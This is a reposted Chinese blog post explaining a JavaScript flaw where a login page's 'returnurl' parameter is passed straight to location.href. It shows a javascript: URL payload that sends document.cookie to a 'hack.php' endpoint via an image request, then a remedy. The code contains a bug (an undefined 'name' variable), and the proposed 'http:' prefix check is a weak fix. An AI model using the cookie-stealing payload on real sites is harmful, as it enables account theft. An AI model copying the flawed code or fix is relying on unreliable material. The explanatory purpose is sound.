javascript实现“登录后跳回之前页面”的漏洞

简介:

www.xxx.com网站有个登录页面login.htm,登录之后需要跳到之前的页面www.yyy.com

url形式如下:http://www.xxx.com/login.htm?returnurl=http://www.yyy.com 

long.htm代码里面通过javascript跳转:


复制代码
/* *
* javascript获取URL指定参数对应的值
* @method getQueryString
* @param {string} s 参数名
* @return {string}
*/
function  getQueryString(s){
    
var  reg  =   new  RegExp( " (^|&) "   +  name  +   " =([^&]*)(&|$) " );
    
var  r  =  window.location.search.substr( 1 ).match(reg);
    
if  (r  !=   null return  r[ 2 ];  return   "" ;
}

location.href
= getQueryString( " returnurl " );
复制代码

这看上去没问题,满足业务需求,但是有个js漏洞 (感谢csy同学指出)

如果url变成:

http://www.xxx.com/login.htm?returnurl=javascript:alert(document.cookie); 

登录完之后就能取得整个本地cookie。

 

更进一步,url变成:
http://www.xxx.com/login.htm?returnurl=
javascript:var%20img%20=%20document.createElement%28%27img%27%29;img.src=%27hack.php?cookie=%27+document.cookie;document.body.appendChild%28img%29;

如果恶意用户散布这个链接,只要一点击,就可以偷取用户的cookie,从而模拟用户登录大多数网站,达到盗取账号的目的。

 

所以这个漏洞很有必要堵上,处理一下参数里面的值,比如以判断参数值是否以http:开头(我们采用的),总之根据你的业务需要的方式做具体防范。


var  returnurl  =  getQueryString( " returnurl " );
returnurl 
=  returnurl.toLowerCase().indexOf( ' http: ' ==   0   ?  returnurl :  "" ;
location.href
= returnurl;

 


本文转自Kai的世界,道法自然博客园博客,原文链接:http://www.cnblogs.com/kaima/archive/2011/04/15/2017182.html,如需转载请自行联系原作者。

目录
相关文章
|
8天前
|
JavaScript 前端开发 容器
AJAX载入外部JS文件到页面并让其执行的方法(附源码)
AJAX载入外部JS文件到页面并让其执行的方法(附源码)
13 0
|
27天前
|
JavaScript 前端开发 Java
springboot从控制器请求至页面时js失效的解决方法
springboot从控制器请求至页面时js失效的解决方法
15 0
springboot从控制器请求至页面时js失效的解决方法
|
1月前
|
Web App开发 前端开发 JavaScript
编程笔记 html5&css&js 004 我的第一个页面
编程笔记 html5&css&js 004 我的第一个页面
|
3月前
|
JavaScript
如何使用JS控制指定页面大小开启全屏和退出全屏
如何使用JS控制指定页面大小开启全屏和退出全屏
25 0
|
3月前
|
JavaScript 数据安全/隐私保护
|
3月前
|
JavaScript
如何在JS中实现修改URL参数而不刷新页面
如何在JS中实现修改URL参数而不刷新页面
59 1
|
3月前
|
存储 JavaScript
JS中从a页面跳转到b页面,自动执行一次点击事件
JS中从a页面跳转到b页面,自动执行一次点击事件
|
27天前
|
JavaScript 前端开发
springboot+layui从控制器请求至页面时js失效的解决方法
springboot+layui从控制器请求至页面时js失效的解决方法
15 0
|
3月前
|
JavaScript
如何用js在页面中添加元素?
如何用js在页面中添加元素?
24 0
|
16天前
|
JavaScript 前端开发
JS:如何创建新元素并添加到页面中
JS:如何创建新元素并添加到页面中
21 1